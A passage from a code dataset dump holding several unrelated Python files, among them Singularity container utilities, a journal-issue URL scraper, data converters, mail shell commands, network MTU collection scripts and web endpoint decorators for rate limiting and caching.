If it's a list, write to new file, and save\n if isinstance(content,list):\n write_file(output_file,\"\\n\".join(content))\n \n # If it's a dict, save to json\n elif isinstance(content,dict):\n write_json(content,output_file)\n\n # If bytes, need to decode\n elif isinstance(content,bytes):\n write_file(output_file,content.decode('utf-8'))\n \n # String or other\n else: \n output_file = write_file(output_file,content)\n\n if os.path.exists(output_file):\n zf.write(output_file,filename)\n os.remove(output_file)\n\n # Close the zip file \n zf.close()\n\n if output_folder is not None:\n shutil.copyfile(output_zip,\"%s/%s\"%(output_folder,zip_name))\n shutil.rmtree(tmpdir)\n output_zip = \"%s/%s\"%(output_folder,zip_name)\n\n return output_zip\n\n\n\n############################################################################\n## OTHER MISC. #############################################################\n############################################################################\n\n\ndef get_container_contents(container=None,gets=None,split_delim=None,image_package=None):\n '''get_container_contents will return a list of folders and or files\n for a container. The environmental variable SINGULARITY_HUB being set\n means that container objects are referenced instead of packages\n :param container: the container to get content for\n :param gets: a list of file names to return, without parent folders\n :param split_delim: if defined, will split text by split delimiter\n :param image_package: if defined, user has provided an image_package\n '''\n from singularity.package import package, load_package\n\n if container == None and image_package == None:\n bot.error(\"You must define an image package or container.\")\n sys.exit(1)\n\n # Default returns are the list of files and folders\n if gets == None:\n gets = ['files.txt','folders.txt']\n if not isinstance(gets,list):\n gets = [gets]\n\n # We will look for everything in guts, then return it\n guts = dict()\n\n SINGULARITY_HUB = os.environ.get('SINGULARITY_HUB',\"False\")\n\n # Visualization deployed local or elsewhere\n if SINGULARITY_HUB == \"False\":\n tmpdir = tempfile.mkdtemp()\n if image_package == None:\n image_package = package(image_path=container,\n output_folder=tmpdir,\n remove_image=True)\n \n guts = load_package(image_package,get=gets)\n shutil.rmtree(tmpdir)\n\n # Visualization deployed by singularity hub\n else: \n \n # user has provided a package, but not a container\n if container == None:\n guts = load_package(image_package,get=gets)\n\n # user has provided a container, but not a package\n else:\n for sfile in container.files:\n for gut_key in gets: \n if os.path.basename(sfile['name']) == gut_key:\n if split_delim == None:\n guts[gut_key] = requests.get(sfile['mediaLink']).text\n else:\n guts[gut_key] = requests.get(sfile['mediaLink']).text.split(split_delim)\n\n return guts\n","sub_path":"singularity/package/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"281604479","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 6 20:16:56 2017\n\n@author: wuxiong\n\"\"\"\n#得到AER每一期issues的url\nimport requests\nfrom bs4 import BeautifulSoup\nfrom requests.exceptions import RequestException\nfrom multiprocessing import Pool\nimport re\nimport json\ndef get_onepage_url(url):\n try:\n user_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\"\n headers = {\"User-Agent\": user_agent}\n response = requests.get(url,headers=headers)\n if response.status_code==200:\n return response.content\n return None\n except RequestException:\n return None\ndef parse_one_page(url_html):\n soup = BeautifulSoup(url_html,'lxml')\n text = soup.find_all('div',style=\"margin-top:5px;\")\n pattern = re.compile('',re.S)\n new_results = re.findall(pattern,str(text))\n text = []\n print(new_results)\n print(len(new_results))\n url = 'https://www.aeaweb.org'\n for result in new_results:\n text.append( url + str(result))\n return text\ndef write_to_file(content):\n with open('AER_urls_only.txt','a') as f:\n f.write(content + '\\n')\n f.close()\n# def main(number):\ndef main(url_real):\n '''\n url = \"https://www.aeaweb.org/issues/\"\n url_real = url + str(number)\n html = get_onepage_url(url_real)\n urls = parse_one_page(html)\n for item in urls:\n write_to_file(item)\n '''\n html = get_onepage_url(url_real)\n for item in parse_one_page(html):\n write_to_file(item)\nif __name__==\"__main__\":\n url = \"https://www.aeaweb.org/journals/aer/issues\"\n #pool = Pool()\n #pool.map(main,[i for i in range(0,500,1)])\n main(url)\n print('Done')\n\n","sub_path":"Spider_AER_1_GetEveryAerIssuesUrls.py","file_name":"Spider_AER_1_GetEveryAerIssuesUrls.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"334862145","text":"import numpy as np\nimport os\n\nfpath = ''\nfile_list = os.listdir(fpath)\nras_files = [f[:-3] for f in file_list if f[-3:] == 'ras']\nxye_files = [f[:-3] for f in file_list if f[-3:] == 'xye']\nras_notxye = [rf for rf in ras_files if rf not in xye_files]\nsizes = [(os.stat(r + 'ras')).st_size for r in ras_notxye]\nras_todo = [rn for i, rn in enumerate(ras_notxye) if sizes[i] > 0]\n\nfor rf in ras_todo:\n fname = rf + 'ras'\n new_fname = fname[:-3] + 'xye'\n data = np.genfromtxt(fname, comments='*', usecols=[0, 1])\n new_data = np.column_stack((data, data[:, 1]**0.5))\n np.savetxt(new_fname, new_data)\n print(f'Written {new_fname}')\n\n","sub_path":"ras_to_xye.py","file_name":"ras_to_xye.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"543335770","text":"import json\n\nimport numpy as np\n\nfrom sklearn.preprocessing import MinMaxScaler\n\nsc = MinMaxScaler(feature_range=(-.5, .5))\n\n\ndef noise_norm():\n r = corpus_normus()\n k, v = zip(*r.items())\n v = sc.fit_transform(np.asarray(v).reshape(-1, 1))\n v = [_.tolist()[0] for _ in v]\n return dict(zip(k, v))\n # s = sum(r.values())\n # return {k: v / s for k, v in r.items()}\n\n\ndef corpus_normus():\n r = json.load(open('./noise_200.json'))\n return {k: v - r['corpus'] for k, v in r.items()}\n\n\nprint(noise_norm())\n# print(corpus_normus())\n","sub_path":"get_process_data/calc_noise_ratio.py","file_name":"calc_noise_ratio.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"611657800","text":"#!/usr/bin/env python3\nimport time\nimport re\nimport sys\nimport textwrap\n\nimport mailsh\nimport mailsh.mail\n\n\n@mailsh.register_command(\"head\", dry_run_safe=True)\ndef head_command(mdc, inputs, argv):\n \"\"\"\n Usage: head [COUNT]\n\n Return, at most, the specified number of messages or lines. When\n unspecified, this defaults to 10.\n \"\"\"\n if argv:\n if len(argv) > 1:\n raise ValueError(\"Command expects one argumnet or none.\")\n try:\n limit = int(argv[0])\n except ValueError:\n raise ValueError(\"%r is not a number.\" % (argv[0],))\n else:\n limit = 10\n\n for index, item in enumerate(inputs):\n if index >= limit:\n break\n yield item\n\n\n@mailsh.register_command(\"invert\", dry_run_safe=True)\ndef invert_command(mdc, inputs, argv):\n inputs = set(inputs)\n for message in mdc.listmessages(poll_new=False):\n if message not in inputs:\n yield message\n\n\n@mailsh.register_command(\"help\", dry_run_safe=True)\ndef help_command(mdc, inputs, argv):\n \"\"\"\n Usage: help [COMMAND]...\n\n Display documentation for interpreter commands.\n \"\"\"\n if argv:\n for command in argv or (\"help\",):\n yield command + \":\"\n if command in mailsh.runtime.Interpreter.commands:\n function = mailsh.runtime.Interpreter.commands[command]\n docstring = function.__doc__ or \"This command is undocumented.\"\n dedented = textwrap.dedent(docstring)\n formatted = dedented.replace(\"\\n\", \"\\n \").strip()\n else:\n formatted = \" Unrecognized command.\"\n\n yield formatted\n else:\n yield \"Valid commands:\"\n for command in sorted(mailsh.runtime.Interpreter.commands):\n yield \"- \" + command\n\n\n@mailsh.register_command(\"count\", dry_run_safe=True)\ndef count_command(mdc, inputs, argv):\n \"\"\"\n Usage: count\n\n Display number of items piped into command.\n \"\"\"\n yield len(tuple(inputs))\n\n\n@mailsh.register_command(\"cd\")\ndef cd_command(mdc, inputs, argv):\n \"\"\"\n Usage: cd FOLDER\n\n Change current working directory.\n \"\"\"\n if not argv:\n raise Exception(\"Expected argument.\")\n elif len(argv) != 1:\n raise Exception(\"Too many arguments passed.\")\n else:\n mdc.chdir(argv[0])\n\n\n@mailsh.register_command(\"dirs\", dry_run_safe=True)\ndef dirs_command(mdc, inputs, argv):\n \"\"\"\n Usages: dirs [FOLDER]\n\n List directories in folder. If FOLDER is unspecified, the current working\n directory is used.\n \"\"\"\n yield from mdc.listdirs()\n\n\n@mailsh.register_command(\"pwd\", dry_run_safe=True)\ndef pwd_command(mdc, inputs, argv):\n \"\"\"\n Usage: pwd\n\n Display current (present) working directory.\n \"\"\"\n yield mdc.cwd\n\n\n@mailsh.register_filter(\"grep\", dry_run_safe=True)\ndef grep_filter(mdc, value, argv):\n if argv:\n expression = \"|\".join(argv)\n else:\n return True\n\n if isinstance(value, mailsh.mail.Message):\n value = str(value.headers)\n\n return bool(re.search(expression, value, re.I | re.U))\n\n\ndef message_date(message):\n date = message.headers.get(\"date\", \"\")\n timestamps = mailsh.mail.extract_timestamps(date)\n if timestamps:\n return timestamps[0]\n else:\n return 0\n\n\ndef time_received(message):\n received = message.headers.get_all(\"received\", tuple())\n timestamps = mailsh.mail.extract_timestamps(\" \".join(received))\n if timestamps:\n return max(timestamps)\n else:\n return 0\n\n\n@mailsh.register_command(\"sort\", dry_run_safe=True)\ndef sort_command(mdc, inputs, argv):\n if not argv:\n raise Exception(\"Expected argument.\")\n elif len(argv) != 1:\n raise Exception(\"Too many arguments passed.\")\n else:\n field = argv[0].lower()\n\n if field == \"date\":\n key = message_date\n elif field == \"received\":\n key = time_received\n else:\n key = lambda m: m.headers.get(field, \"\")\n\n yield from sorted(inputs, key=key, reverse=True)\n\n\n@mailsh.register_command(\"pick\")\ndef pick_command(mdc, inputs, argv):\n choices = set(map(int, argv))\n if choices:\n for i, item in enumerate(inputs, 1):\n if i in choices:\n yield item\n else:\n yield from inputs\n","sub_path":"src/runcontrol.py","file_name":"runcontrol.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"161019393","text":"#!/usr/bin/env python3.7\n# -*- coding: utf-8 -*-\n\n\"\"\"\nAdd a description ....\n\n\"\"\"\n\n__author__ = \"Dylan Hamel\"\n__maintainer__ = \"Dylan Hamel\"\n__version__ = \"1.0\"\n__email__ = \"dylan.hamel@protonmail.com\"\n__status__ = \"Prototype\"\n__copyright__ = \"Copyright 2019\"\n\n########################################################################################################################\n#\n# HEADERS\n#\n\nERROR_HEADER = \"Error import [mtu_gets.py]\"\nHEADER_GET = \"[netests - get_mtu]\"\n\n########################################################################################################################\n#\n# Import Library\n#\n\ntry:\n from const.constants import *\nexcept ImportError as importError:\n print(f\"{ERROR_HEADER} const.constants\")\n exit(EXIT_FAILURE)\n print(importError)\n\ntry:\n from functions.mtu.mtu_converters import _napalm_mtu_converter\n from functions.mtu.mtu_converters import _ios_mtu_converter\n from functions.mtu.mtu_converters import _nexus_mtu_converter\n from functions.mtu.mtu_converters import _cumulus_mtu_converter\n from functions.mtu.mtu_converters import _iosxr_mtu_converter\n from functions.mtu.mtu_converters import _arista_mtu_converter\n from functions.mtu.mtu_converters import _juniper_mtu_converter\n from functions.mtu.mtu_converters import _extreme_vsp_mtu_converter\nexcept ImportError as importError:\n print(f\"{ERROR_HEADER} functions.mtu.mtu_converters\")\n print(importError)\n exit(EXIT_FAILURE)\n\ntry:\n from nornir.core import Nornir\n # To use advanced filters\n from nornir.core.filter import F\n # To execute netmiko commands\n from nornir.plugins.tasks.networking import netmiko_send_command\n # To execute napalm get config\n from nornir.plugins.tasks.networking import napalm_get\n # To print task results\n from nornir.plugins.functions.text import print_result\nexcept ImportError as importError:\n print(f\"{ERROR_HEADER} nornir\")\n print(importError)\n exit(EXIT_FAILURE)\n\ntry:\n import json\nexcept ImportError as importError:\n print(f\"{ERROR_HEADER} json\")\n exit(EXIT_FAILURE)\n print(importError)\n\ntry:\n import textfsm\nexcept ImportError as importError:\n print(f\"{ERROR_HEADER} textfsm\")\n exit(EXIT_FAILURE)\n print(importError)\n\n########################################################################################################################\n#\n# Functions\n#\ndef get_mtu(nr: Nornir, filters={}, level=None, own_vars={}):\n\n devices = nr.filter()\n\n if len(devices.inventory.hosts) == 0:\n raise Exception(f\"[{HEADER_GET}] no device selected.\")\n\t\t\n data = devices.run(\n task=generic_mtu_get,\n on_failed=True,\n num_workers=10\n )\n #print_result(data)\n\n# ----------------------------------------------------------------------------------------------------------------------\n#\n# Generic function\n#\ndef generic_mtu_get(task):\n\n use_ssh = False\n\n if NEXUS_PLATEFORM_NAME in task.host.platform or ARISTA_PLATEFORM_NAME in task.host.platform or \\\n CISCO_IOSXR_PLATEFORM_NAME in task.host.platform or CISCO_IOS_PLATEFORM_NAME in task.host.platform or \\\n JUNOS_PLATEFORM_NAME in task.host.platform:\n if 'connexion' in task.host.keys():\n if task.host.data.get('connexion', NOT_SET) == 'ssh' or task.host.get('connexion', NOT_SET):\n use_ssh = True\n\n if task.host.platform == CUMULUS_PLATEFORM_NAME:\n _cumulus_get_mtu(task)\n\n elif task.host.platform == EXTREME_PLATEFORM_NAME:\n _extreme_vsp_get_mtu(task)\n\n elif task.host.platform in NAPALM_COMPATIBLE_PLATEFORM :\n if use_ssh and NEXUS_PLATEFORM_NAME == task.host.platform:\n _nexus_get_mtu(task)\n\n elif use_ssh and CISCO_IOS_PLATEFORM_NAME == task.host.platform:\n _ios_get_mtu(task)\n\n elif use_ssh and CISCO_IOSXR_PLATEFORM_NAME == task.host.platform:\n _iosxr_get_mtu(task)\n\n elif use_ssh and ARISTA_PLATEFORM_NAME == task.host.platform:\n _arista_get_mtu(task)\n \n elif use_ssh and JUNOS_PLATEFORM_NAME == task.host.platform:\n _juniper_get_mtu(task)\n\n else:\n _generic_mtu_napalm(task)\n\n else:\n # RAISE EXCEPTIONS\n print(f\"{HEADER_GET} No plateform selected for {task.host.name}...\")\n\n# ----------------------------------------------------------------------------------------------------------------------\n#\n# Generic Napalm\n#\ndef _generic_mtu_napalm(task):\n pass\n \"\"\"\n print(f\"Start _generic_mtu_napalm with {task.host.name} \")\n\n output = task.run(\n name=f\"NAPALM get_interfaces {task.host.platform}\",\n task=napalm_get,\n getters=[\"interfaces\"],\n retrieve=\"all\"\n )\n # print(output.result)\n\n if output.result != \"\":\n bgp_sessions = _napalm_mtu_converter(\n task.host.name,\n output.result\n )\n\n task.host[MTU_DATA_HOST_KEY] = bgp_sessions\n \"\"\"\n# ----------------------------------------------------------------------------------------------------------------------\n#\n# Cumulus Networks\n#\ndef _cumulus_get_mtu(task):\n\n output = task.run(\n name=f\"{CUMULUS_GET_MTU}\",\n task=netmiko_send_command,\n command_string=CUMULUS_GET_MTU\n )\n # print_result(output)\n\n mtu_interfaces = _cumulus_mtu_converter(\n hostname=task.host.name,\n cmd_output=json.loads(output.result)\n )\n\n task.host[MTU_DATA_HOST_KEY] = mtu_interfaces\n\n# ----------------------------------------------------------------------------------------------------------------------\n#\n# Cisco Nexus (NXOS)\n#\ndef _nexus_get_mtu(task):\n\n output = task.run(\n name=f\"{NEXUS_GET_MTU}\",\n task=netmiko_send_command,\n command_string=NEXUS_GET_MTU\n )\n # print_result(output)\n\n mtu_interfaces = _nexus_mtu_converter(\n hostname=task.host.name,\n cmd_output=json.loads(output.result)\n )\n\n task.host[MTU_DATA_HOST_KEY] = mtu_interfaces\n\t\n# ----------------------------------------------------------------------------------------------------------------------\n#\n# Cisco IOS\n#\ndef _ios_get_mtu(task):\n\n output = task.run(\n name=f\"{IOS_GET_MTU}\",\n task=netmiko_send_command,\n command_string=IOS_GET_MTU\n )\n #print_result(output)\n\n if output.result != \"\":\n template = open(\n f\"{TEXTFSM_PATH}cisco_ios_show_interface.textfsm\")\n results_template = textfsm.TextFSM(template)\n \n parsed_results = results_template.ParseText(output.result)\n # Result Example =\n #\n #\n # type = list() of list()\n\n mtu_interfaces = _ios_mtu_converter(\n hostname=task.host.name,\n cmd_output=parsed_results\n )\n\n task.host[MTU_DATA_HOST_KEY] = mtu_interfaces\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n#\n# Cisco IOSXR\n#\ndef _iosxr_get_mtu(task):\n pass\n\n# ----------------------------------------------------------------------------------------------------------------------\n#\n# Arista vEOS\n#\ndef _arista_get_mtu(task):\n\n output = task.run(\n name=f\"{ARISTA_GET_MTU}\",\n task=netmiko_send_command,\n command_string=ARISTA_GET_MTU\n )\n # print_result(output)\n\n mtu_interfaces = _arista_mtu_converter(\n hostname=task.host.name,\n cmd_output=json.loads(output.result)\n )\n\n task.host[MTU_DATA_HOST_KEY] = mtu_interfaces\n\n# ----------------------------------------------------------------------------------------------------------------------\n#\n# Juniper Networks\n#\ndef _juniper_get_mtu(task):\n\n output = task.run(\n name=f\"{JUNOS_GET_MTU}\",\n task=netmiko_send_command,\n command_string=JUNOS_GET_MTU\n )\n # print_result(output)\n\n mtu_interfaces = _juniper_mtu_converter(\n hostname=task.host.name,\n cmd_output=json.loads(output.result)\n )\n\n task.host[MTU_DATA_HOST_KEY] = mtu_interfaces\n\t\n# ----------------------------------------------------------------------------------------------------------------------\n#\n# Extreme Networks\n#\ndef _extreme_vsp_get_mtu(task):\n\n output = task.run(\n name=f\"{EXTREME_VSP_GET_MTU}\",\n task=netmiko_send_command,\n command_string=EXTREME_VSP_GET_MTU,\n enable=True\n )\n # print_result(output)\n\n if output.result != \"\":\n template = open(\n f\"{TEXTFSM_PATH}extreme_vsp_show_interfaces_gigabitethernet.textfsm\")\n results_template = textfsm.TextFSM(template)\n\n parsed_results = results_template.ParseText(output.result)\n # Result Example =\n #\n #\n # type = list() of list()\n\n mtu_interfaces = _extreme_vsp_mtu_converter(\n hostname=task.host.name,\n cmd_output=parsed_results\n )\n\n task.host[MTU_DATA_HOST_KEY] = mtu_interfaces\n \n# ----------------------------------------------------------------------------------------------------------------------\n#\n# Next Device\n#\n","sub_path":"functions/mtu/mtu_get.py","file_name":"mtu_get.py","file_ext":"py","file_size_in_byte":9092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"504843632","text":"from io import BytesIO\n\nimport numpy\nimport networkx as nx\n\nimport matplotlib as mpl\n\nmpl.use(\"svg\")\nfrom matplotlib import pyplot as plt\n\n\ndef render(\n g, request_nodes, subgraph_nodes, xs=None, ys=None, node_size=None, zoom=None\n):\n if xs is None:\n xs = 1\n if ys is None:\n ys = 1\n if node_size is None:\n node_size = 10\n if zoom is None:\n zoom = 1\n\n ns = numpy.pi * ((node_size * zoom) ** 2) / 4\n\n fig, ax = plt.subplots(figsize=(8 * zoom, 8 * zoom))\n\n ax.set_aspect(float(ys) / float(xs))\n ax.set_xticks([])\n ax.set_yticks([])\n ax.axis(\"off\")\n\n pos = nx.nx_pydot.pydot_layout(g, prog=\"dot\")\n\n sgs = [[n[\"id\"] for n in ng[\"nodes\"]] for ng in subgraph_nodes]\n req = [n[\"id\"] for n in request_nodes]\n\n basenodes = nx.draw_networkx(\n g,\n pos=pos,\n ax=ax,\n node_size=ns,\n node_color=\"lightsteelblue\",\n with_labels=True,\n font_size=5 * zoom,\n label=\"all nodes\",\n )\n\n for i, _nodes in enumerate(sgs):\n subgraphs = nx.draw_networkx_nodes(\n g.subgraph(_nodes),\n ax=ax,\n pos=pos,\n node_size=ns,\n node_color=f\"C{i}\",\n with_labels=True,\n font_size=5 * zoom,\n label=f\"subgraph {i+1}\",\n )\n\n selection = nx.draw_networkx_nodes(\n g.subgraph(req),\n ax=ax,\n pos=pos,\n node_shape=\"o\",\n node_color=\"none\",\n node_size=ns * 2,\n with_labels=False,\n label=\"requested nodes\",\n )\n\n selection.set_edgecolor(\"firebrick\")\n selection.set_linewidths(1.5)\n\n ax.legend(loc=\"upper center\", ncol=4, bbox_to_anchor=(0.5, -0.05))\n ax.set_title(\"User requested nodes: \" + \", \".join(req))\n\n return fig\n\n\ndef fig_to_image(fig):\n img = BytesIO()\n fig.savefig(img, bbox_inches=\"tight\")\n img.seek(0)\n\n return img\n","sub_path":"nereid/nereid/network/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"552630821","text":"from __future__ import absolute_import\nimport types\nimport re\nimport cgi\nfrom functools import wraps\nimport datetime\n\nfrom decorators import FuncDecorator\n\nfrom ..exception import CallError, AccessDenied\nfrom . import auth\nfrom .base import TargetDecorator\n\n\nclass ratelimit(TargetDecorator):\n \"\"\"Rate limit a certain endpoint\n\n example --\n\n from endpoints import Controller\n from endpoints.decorators import ratelimit\n\n class Default(Controller):\n @ratelimit(10, 3600) # you can make 10 requests per hour\n def GET(self):\n return \"hello world\"\n \"\"\"\n def target(self, request, key, limit, ttl):\n \"\"\"this is what is run to check if requests should be throttled\n\n you should override this method if you want to customize the implementation\n\n request -- Request -- the request instance\n key -- string -- the unique key for the endpoint\n limit -- int -- max requests that should be received in ttl\n ttl -- int -- how many seconds they should be throttled for (3600 = 1 hour)\n \"\"\"\n now = datetime.datetime.utcnow()\n count = 1\n calls = getattr(self, \"_calls\", {})\n if not calls:\n calls = {}\n\n if key in calls:\n count = calls[key][\"count\"] + 1\n if count > limit:\n td = now - calls[key][\"date\"]\n if td.total_seconds() < ttl:\n raise ValueError(\n \"Please wait {} seconds to make another request\".format(ttl - td.seconds)\n )\n\n else:\n count = 1 # we are starting over\n\n calls[key] = {\n \"count\": count,\n \"date\": now,\n }\n\n self._calls = calls\n return True\n\n def normalize_target_params(self, request, controller_args, controller_kwargs):\n kwargs = {\n \"request\": request,\n \"key\": self.normalize_key(\n request,\n controller_args=controller_args,\n controller_kwargs=controller_kwargs,\n ),\n \"limit\": self.limit,\n \"ttl\": self.ttl,\n }\n return [], kwargs\n\n def normalize_key(self, request, *args, **kwargs):\n \"\"\"if you don't want to override target but do want to customize the key,\n override this method, this is mainly for convenience of child classes\"\"\"\n return \"{}.{}\".format(request.ip, request.path)\n\n def handle_error(self, e):\n \"\"\"all exceptions should generate 429 responses\"\"\"\n raise CallError(429, e.message)\n\n def decorate(self, func, limit, ttl, *anoop, **kwnoop):\n \"\"\"see target for an explanation of limit and ttl\"\"\"\n self.limit = int(limit)\n self.ttl = int(ttl)\n return super(ratelimit, self).decorate(func, target=None, *anoop, **kwnoop)\n\n\nclass httpcache(FuncDecorator):\n \"\"\"\n sets the cache headers so the response can be cached by the client\n\n link -- https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching\n\n ttl -- integer -- how many seconds to have the client cache the request\n \"\"\"\n def decorate(self, func, ttl):\n def decorated(self, *args, **kwargs):\n self.response.add_headers({\n \"Cache-Control\": \"max-age={}\".format(ttl),\n })\n return func(self, *args, **kwargs)\n # TODO -- figure out how to set ETag\n #if not self.response.has_header('ETag')\n\n return decorated\n\n\nclass nohttpcache(FuncDecorator):\n \"\"\"\n sets all the no cache headers so the response won't be cached by the client\n \"\"\"\n def decorate(self, func):\n def decorated(self, *args, **kwargs):\n self.response.add_headers({\n \"Cache-Control\": \"no-cache, no-store, must-revalidate\",\n \"Pragma\": \"no-cache\", \n \"Expires\": \"0\"\n })\n return func(self, *args, **kwargs)\n\n return decorated\n\n\nclass _property(object):\n \"\"\"A memoized @property that is only evaluated once, and then stored at _property\n and retrieved from there unless deleted, in which case this would be called\n again and stored in _property again.\n\n See http://www.reddit.com/r/Python/comments/ejp25/cached_property_decorator_that_is_memory_friendly/\n see https://docs.python.org/2/howto/descriptor.html\n see http://stackoverflow.com/questions/17330160/python-how-does-the-property-decorator-work\n see https://docs.python.org/2/howto/descriptor.html\n\n options you can use to further customize the property\n\n read_only -- boolean (default False) -- set to de-activate set and del methods\n allow_empty -- boolean (default True) -- False to not cache empty values (eg, None, \"\")\n setter -- boolean -- set this to true if you want the decorated method to act as the setter\n instead of the getter, this will cause a default getter to be created that just returns\n _name (you should set self._name in your setter)\n deleter -- boolean -- same as setter, set to True to have the method act as the deleter\n \"\"\"\n def __init__(self, *args, **kwargs):\n self.allow_empty = kwargs.get('allow_empty', True)\n self.has_setter = kwargs.get('setter', False)\n self.has_deleter = kwargs.get('deleter', False)\n\n has_no_write = not self.has_setter and not self.has_deleter\n self.has_getter = kwargs.get('getter', has_no_write)\n\n # mutually exclusive to having defined a setter or deleter\n self.read_only = kwargs.get('read_only', False) and has_no_write\n\n if args:\n if isinstance(args[0], bool):\n self.read_only = args[0]\n\n else:\n # support _property(fget, fset, fdel, desc) also\n total_args = len(args)\n self.set_method(args[0])\n if total_args > 1:\n self.setter(args[1])\n if total_args > 2:\n self.deleter(args[2])\n if total_args > 3:\n self.__doc__ = args[3]\n\n # support _property(fget=getter, fset=setter, fdel=deleter, doc=\"\")\n if \"fget\" in kwargs:\n self.set_method(kwargs[\"fget\"])\n if \"fset\" in kwargs:\n self.setter(kwargs[\"fset\"])\n if \"fdel\" in kwargs:\n self.deleter(kwargs[\"fdel\"])\n if \"doc\" in kwargs:\n self.__doc__ = kwargs[\"doc\"]\n\n def set_method(self, method):\n self.fget = method if self.has_getter else self.default_get\n self.fset = method if self.has_setter else self.default_set\n self.fdel = method if self.has_deleter else self.default_del\n self.__doc__ = method.__doc__\n self.__name__ = method.__name__\n self.name = '_{}'.format(self.__name__)\n\n def __call__(self, *args, **kwargs):\n if args:\n self.set_method(args[0])\n\n return self\n\n def __get__(self, instance, cls):\n # return the cached value if it exists\n val = None\n name = self.name\n if name in instance.__dict__:\n val = instance.__dict__[name]\n\n else:\n try:\n val = self.fget(instance)\n if val or self.allow_empty:\n # We don't do fset here because that causes unexpected bahavior\n # if you ever override the setter, causing the setter to be fired\n # every time the getter is called, which confused me for about\n # an hour before I figured out what was happening\n self.default_set(instance, val)\n\n except Exception:\n # make sure no value gets set no matter what\n instance.__dict__.pop(name, None)\n raise\n\n return val\n\n def default_get(self, instance):\n try:\n return instance.__dict__[self.name]\n except KeyError:\n raise AttributeError(\"can't get attribute {}\".format(self.__name__))\n\n def default_set(self, instance, val):\n instance.__dict__[self.name] = val\n\n def __set__(self, instance, val):\n if self.read_only:\n raise AttributeError(\"can't set attribute {}\".format(self.__name__))\n\n if val or self.allow_empty:\n self.fset(instance, val)\n\n def default_del(self, instance):\n instance.__dict__.pop(self.name, None)\n\n def __delete__(self, instance, *args):\n if self.read_only:\n raise AttributeError(\"can't delete attribute {}\".format(self.__name__))\n\n self.fdel(instance)\n\n def getter(self, fget):\n self.fget = fget\n self.has_getter = True\n return self\n\n def setter(self, fset):\n self.fset = fset\n self.has_setter = True\n return self\n\n def deleter(self, fdel):\n self.fdel = fdel\n self.has_deleter = True\n return self\n\n\nclass _propertyset(_property):\n def set_method(self, method):\n super(_propertyset, self).set_method(method)\n\n # switch get and set since this method is \n self.fget = self.default_get\n self.fset = method\n\n def set_method(self, method):\n self.fget = method\n self.fset = self.default_set\n self.fdel = self.default_del\n self.__doc__ = method.__doc__\n self.__name__ = method.__name__\n self.name = '_{}'.format(self.__name__)\n\n\n\nclass param(object):\n \"\"\"\n decorator to allow setting certain expected query/body values and options\n\n this tries to be as similar to python's built-in argparse as possible\n\n This checks both POST and GET query args, if you would like to only check POST,\n use post_param, if you only want to check GET, then use get_param\n\n example --\n\n @decorators.param('name', type=int, nargs='+', action='store_list')\n\n name -- string -- the name of the query_param\n **flags -- dict\n type -- type -- a python type like int or float\n action -- string --\n store -- default\n store_false -- set if you want default to be true, and false if param is\n passed in\n store_true -- opposite of store_false\n store_list -- set to have a value like 1,2,3 be blown up to ['1', '2', '3']\n append -- if multiple param values should be turned into an array\n eg, foo=1&foo=2 would become foo=[1, 2]\n append_list -- it's store_list + append, so foo=1&foo=2,3 would be foo=[1, 2, 3]\n default -- mixed -- the value that should be set if query param isn't there, if this is\n callable (eg, time.time or datetime.utcnow) then it will be called every time the\n decorated method is called\n required -- boolean -- True if param is required, default is true\n choices -- set() -- a set of values to be in tested against (eg, val in choices)\n matches -- regex -- TODO -- a regular expression that the value needs to match\n allow_empty -- boolean -- True allows values like False, 0, '' through,\n default False, this will also let through any empty value that was set\n via the default flag\n max_size -- int -- the maximum size of the param\n min_size -- int -- the minimum size of the param\n regex -- regexObject -- if you would like the param to be validated with a regular\n exception, uses the re.search() method\n\n raises -- \n CallError -- with 400 status code on any param validation failures\n \"\"\"\n def __init__(self, *names, **flags):\n self.name = names[0]\n self.names = names\n self.flags = flags\n\n def normalize_default(self, default):\n ret = default\n if isinstance(default, dict):\n ret = dict(default)\n\n elif isinstance(default, list):\n ret = list(default)\n\n return ret\n\n def find_param(self, names, required, default, request, args, kwargs):\n \"\"\"actually try to retrieve names key from params dict\"\"\"\n val = default\n found_name = ''\n for name in names:\n if name in kwargs:\n val = kwargs[name]\n found_name = name\n break\n\n if not found_name and required:\n raise CallError(400, \"required param {} was not present\".format(self.name))\n\n return found_name, val\n\n def normalize_param(self, slf, args, kwargs):\n \"\"\"this is where all the magic happens, this will try and find the param and\n put its value in kwargs if it has a default and stuff\"\"\"\n flags = self.flags\n name = self.name\n dest_name = flags.get('dest', name)\n ptype = flags.get('type', None)\n paction = flags.get('action', 'store')\n if paction == 'store_false':\n flags['default'] = True \n ptype = bool\n\n elif paction == 'store_true':\n flags['default'] = False\n ptype = bool\n\n pdefault = self.normalize_default(flags.get('default', None))\n if callable(pdefault): pdefault = pdefault()\n\n prequired = False if 'default' in flags else flags.get('required', True)\n pchoices = flags.get('choices', None)\n allow_empty = flags.get('allow_empty', False)\n min_size = flags.get('min_size', None)\n max_size = flags.get('max_size', None)\n regex = flags.get('regex', None)\n\n normalize = True\n request = slf.request\n found_name, val = self.find_param(self.names, prequired, pdefault, request, args, kwargs)\n if found_name:\n kwargs.pop(found_name)\n else:\n normalize = 'default' in flags\n\n if normalize:\n if paction in set(['store_list']):\n if isinstance(val, list) and len(val) > 1:\n raise CallError(400, \"too many values for param {}\".format(name))\n\n if 